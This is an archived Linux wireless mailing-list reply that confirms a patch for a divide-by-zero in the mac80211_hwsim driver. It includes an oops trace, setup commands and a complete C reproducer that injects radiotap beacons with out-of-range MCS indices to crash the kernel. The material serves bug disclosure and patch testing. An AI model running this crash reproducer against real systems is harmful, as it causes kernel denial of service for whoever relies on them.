Linux wireless drivers development
 help / color / mirror / Atom feed
From: Hojun Choi <ghwns6743@gmail.com>
To: serhatkumral1@gmail.com, johannes@sipsolutions.net,
	linux-wireless@vger.kernel.org
Cc: benjamin.berg@intel.com, miriam.rachel.korenblit@intel.com,
	linux-kernel@vger.kernel.org,
	syzbot+21629c14aa749636db9d@syzkaller.appspotmail.com,
	Hojun Choi <ghwns6743@gmail.com>
Subject: Re: [PATCH] wifi: mac80211_hwsim: avoid division by zero in mac80211_hwsim_write_tsf()
Date: Sat, 27 Jun 2026 22:48:27 +0900	[thread overview]
Message-ID: <20260627134827.12531-1-ghwns6743@gmail.com> (raw)
In-Reply-To: <20260625215606.11049-1-serhatkumral1@gmail.com>

Tested-by: Hojun Choi <ghwns6743@gmail.com>

Thanks for the fix. I confirmed it with a standalone reproducer that
injects a beacon on a monitor interface with a radiotap MCS index past
the band's n_bitrates. The bitrates[] read then goes past the table but
stays inside struct mac80211_hwsim_data (so KASAN is quiet), lands on a
0 .bitrate, and write_tsf() ends up doing 1920 / 0.

Without the patch:

    Oops: divide error: 0000 [#1] SMP KASAN PTI
    RIP: 0010:mac80211_hwsim_write_tsf+0x476/0x5e0
    Call Trace:
     mac80211_hwsim_tx_frame_no_nl
     mac80211_hwsim_tx
     [...]
     ieee80211_monitor_start_xmit

With the patch applied, the same injection no longer crashes (tested on
mainline, 502d801f0ab0).

The commit message explains why ieee80211_get_tx_rate() itself isn't
changed (ath5k/adm8211 and others dereference it without a NULL check).
Is hardening those callers, so the index could be bounds-checked
centrally, worth doing as a follow-up -- or is the per-driver guard the
preferred direction? Happy to help with the legwork if it's useful.

Setup and build:

    iw phy phy0 interface add mon0 type monitor
    ip link set mon0 up
    iw dev mon0 set channel 6
    cc -o repro repro.c && ./repro mon0

(mon0 must be on a live channel, or the frame is dropped before xmit.)

The syzbot dashboard has no reproducer for this bug, so here is a
standalone one:

/*
 * repro.c -- divide error in mac80211_hwsim_write_tsf
 *
 * write_tsf does 1920 / txrate->bitrate for a beacon. The bitrate comes from
 * ieee80211_get_tx_rate(), which indexes bands[band]->bitrates[idx] checking
 * only idx >= 0 -- never idx < n_bitrates. A radiotap MCS index past the table
 * reads an adjacent slot in the same heap object (so KASAN is silent); when
 * that slot reads 0, the divide faults. We sweep 12..127 (8..127 on 5/6GHz).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <endian.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <linux/if_ether.h>

enum
{
	Rtmcs	= 0x00080000,
	Havemcs	= 0x02,
	Beacon	= 0x80,
	Burst	= 32,
};

typedef struct Frame Frame;
struct Frame
{
	unsigned char	rtversion;
	unsigned char	rtpad;
	unsigned short	rtlen;
	unsigned int	rtpresent;
	unsigned char	mcsknown;
	unsigned char	mcsflags;
	unsigned char	mcsindex;
	unsigned char	rtpadend;

	unsigned char	fc;
	unsigned char	flags;
	unsigned short	duration;
	unsigned char	da[6];
	unsigned char	sa[6];
	unsigned char	bssid[6];
	unsigned short	seq;

	/* beacon body -- tsf's end (32B) clears the write_tsf length gate */
	unsigned long long	tsf;
	unsigned short	interval;
	unsigned short	capab;
} __attribute__((packed));

void
die(char *s)
{
	perror(s);
	exit(1);
}

void
fill(Frame *f)
{
	memset(f, 0, sizeof *f);
	f->rtlen = htole16(12);
	f->rtpresent = htole32(Rtmcs);
	f->mcsknown = Havemcs;
	f->fc = Beacon;
	memset(f->da, 0xff, 6);
	memset(f->sa, 0x02, 6);
	memset(f->bssid, 0x02, 6);
	f->tsf = htole64(0x05e6b0);
	f->interval = htole16(100);
	f->capab = htole16(0x0021);
}

int
main(int argc, char **argv)
{
	char *iface, *colon;
	int fd, kmsg, lo, hi, idx, i;
	struct ifreq ifr;
	struct sockaddr_ll to;
	Frame f;

	iface = argc > 1 ? argv[1] : "mon0";
	lo = 12;
	hi = 127;
	if(argc > 2){
		colon = strchr(argv[2], ':');
		lo = atoi(argv[2]);
		hi = colon ? atoi(colon + 1) : lo;
	}

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(fd < 0)
		die("socket");

	memset(&ifr, 0, sizeof ifr);
	strncpy(ifr.ifr_name, iface, IFNAMSIZ - 1);
	if(ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die(iface);

	memset(&to, 0, sizeof to);
	to.sll_family = AF_PACKET;
	to.sll_ifindex = ifr.ifr_ifindex;
	to.sll_protocol = htons(ETH_P_ALL);

	kmsg = open("/dev/kmsg", O_WRONLY | O_CLOEXEC);

	fill(&f);

	/* the injection: send a beacon at each MCS index, sweeping past n_bitrates */
	for(idx = lo; idx <= hi; idx++){
		f.mcsindex = idx;
		if(kmsg >= 0)
			dprintf(kmsg, "repro: mcs=%d\n", idx);

		for(i = 0; i < Burst; i++)
			if(sendto(fd, &f, sizeof f, 0, (struct sockaddr*)&to, sizeof to) < 0)
				die("sendto");
	}
	return 0;
}

  reply	other threads:[~2026-06-27 13:48 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-06-25 21:56 [PATCH wireless] wifi: mac80211_hwsim: avoid division by zero in mac80211_hwsim_write_tsf() Serhat Kumral
2026-06-27 13:48 ` Hojun Choi [this message]
2026-06-26  7:37   ` Serhat Kumral

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260627134827.12531-1-ghwns6743@gmail.com \
    --to=ghwns6743@gmail.com \
    --cc=benjamin.berg@intel.com \
    --cc=johannes@sipsolutions.net \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-wireless@vger.kernel.org \
    --cc=miriam.rachel.korenblit@intel.com \
    --cc=serhatkumral1@gmail.com \
    --cc=syzbot+21629c14aa749636db9d@syzkaller.appspotmail.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox